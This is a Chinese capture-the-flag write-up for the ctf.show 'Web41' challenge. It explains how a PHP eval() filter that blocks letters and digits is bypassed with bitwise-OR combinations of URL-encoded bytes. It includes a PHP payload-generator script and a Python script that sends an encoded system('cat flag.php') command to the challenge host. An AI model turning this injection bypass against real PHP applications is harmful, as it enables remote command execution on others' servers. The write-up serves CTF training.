Web41
源代码:
if(isset($_POST['c'])){$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){eval("echo($c);");}
}else{highlight_file(__FILE__);
}
代码审计:
过滤了数字和字母,但没有过滤或运算|
思路:
使用或运算绕过。
EXP:
脚本1:
<?php
$P = '/[0-9]|[a-z]|\^|\+|~|\$|\[|]|\{|}|&|-/i';
$res1 = '';
$res2 = '';
$target = 'cat flag.php';
$len = strlen($target);
for ($i = 0; $i < $len; $i++) {$loop = true;for ($n1 = 0; $n1 < 256; $n1++) {if (!$loop) break;$n1Hex = $n1 < 16 ? '0' . dechex($n1) : dechex($n1);if (preg_match($P, hex2bin($n1Hex))) continue;for ($n2 = 0; $n2 < 256; $n2++) {$n2Hex = $n2 < 16 ? '0' . dechex($n2) : dechex($n2);if (preg_match($P, hex2bin($n2Hex))) continue;$n1UrlEncode = '%' . $n1Hex;$n2UrlEncode = '%' . $n2Hex;$orRes = urldecode($n1UrlEncode) | urldecode($n2UrlEncode);if ($orRes === $target[$i]) {$res1 .= $n1UrlEncode;$res2 .= $n2UrlEncode;$loop = false;break;}}}
}
echo '\'' . $res1 . '\'' . '|' . '\'' . $res2 . '\'';
脚本分析:
先分析被创建的变量:
$P
是一个正则形式的字符串,储存的是题目过滤的字符。
$res1
和$res2
先设置为空字符串,分别用来储存或运算的前件与后件。
$target
是我们要执行的RCE命令。
$len
获取target变量的长度。
分析循环结构:
最外层循环:
for ($i = 0; $i < $len; $i++)
变量$i
的值代表的是$target
中字符的索引,从第一个字符,即索引为0的字符开始,依次运算到最后一个字符,即 索引=$len-1
的字符为止。
在该层循环中还创建了变量$loop
,用于控制内层循环是否进行。
内层循环:
for ($n1 = 0; $n1 < 256; $n1++)
变量$n1
从0开始,到255为止,对应的是ASCII码中的256个编码的序号。
先判断if (!$loop) break;
,即loop的值为false时,跳出该层循环。
$n1Hex = $n1 < 16 ? '0' . dechex($n1) : dechex($n1);
变量$n1Hex
是变量n1的十六进制形式,如果n1<16,就在十六进制形式前拼接0.
这是因为16以下的十进制数字的十六进制形式都是一位数,而ASCII码中的符号的十六进制编码都是两位,不足两位的要在前面补零。
if (preg_match($P, hex2bin($n1Hex))) continue;
hex2bin是将十六进制数转换为ASCII字符(PHP版本高于5.4.0).
如果该符号是被过滤的符号,则continue,跳过该次循环,进行下一次循环。
如果不是,则进入下一层循环。
最内层循环:
for ($n2 = 0; $n2 < 256; $n2++)
n2与n1的含义相同。
经过与上一层循环相同的步骤后:
$n1UrlEncode = '%' . $n1Hex;$n2UrlEncode = '%' . $n2Hex;
$orRes = urldecode($n1UrlEncode) | urldecode($n2UrlEncode);
创建n1与n2的url编码形式的变量,然后对这两个变量进行或运算,结果赋值给$orRes
。
如果$orRes
的值与target中相应的字符串相同,就将两个url编码变量储存在res1和res2中,再跳出到最外层循环,继续运算下一个字符。
脚本2:
from requests import post
from urllib.parse import unquotefunc = '(\'%13%19%13%14%05%0d\'|\'%60%60%60%60%60%60\')'
param = '(\'%03%01%14%00%06%0c%01%07%00%10%08%10\'|\'%60%60%60%20%60%60%60%60%2e%60%60%60\')'
resp = post(url='http://250882cd-1ff1-428b-a800-06fcb94d83cf.challenge.ctf.show/',data={'c': unquote(func + param)}
)
print(resp.text)
unquote用于将字符串url解码。
func的值是system命令的编码
param 的值是 cat flag.php 的编码
最后输出页面信息,得到flag。